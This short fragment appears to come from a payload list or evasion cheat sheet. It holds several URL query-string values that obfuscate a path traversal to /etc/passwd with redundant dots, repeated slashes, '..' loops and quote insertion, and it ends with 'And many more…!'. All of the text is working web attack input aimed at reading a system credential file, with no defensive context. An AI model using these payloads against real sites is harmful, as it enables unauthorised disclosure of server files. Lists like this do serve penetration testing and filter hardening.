?foo=/././././etc/././././passwd ?foo=/etc/../etc/../etc/passwd ?foo=/////////etc/////////////////////////////////////passwd ?foo=///////etc///////./////.//.////.////////..////////etc///..//etc//////////.///////////passwd ?foo=/et"c/p"a'ss'wd
And many more…!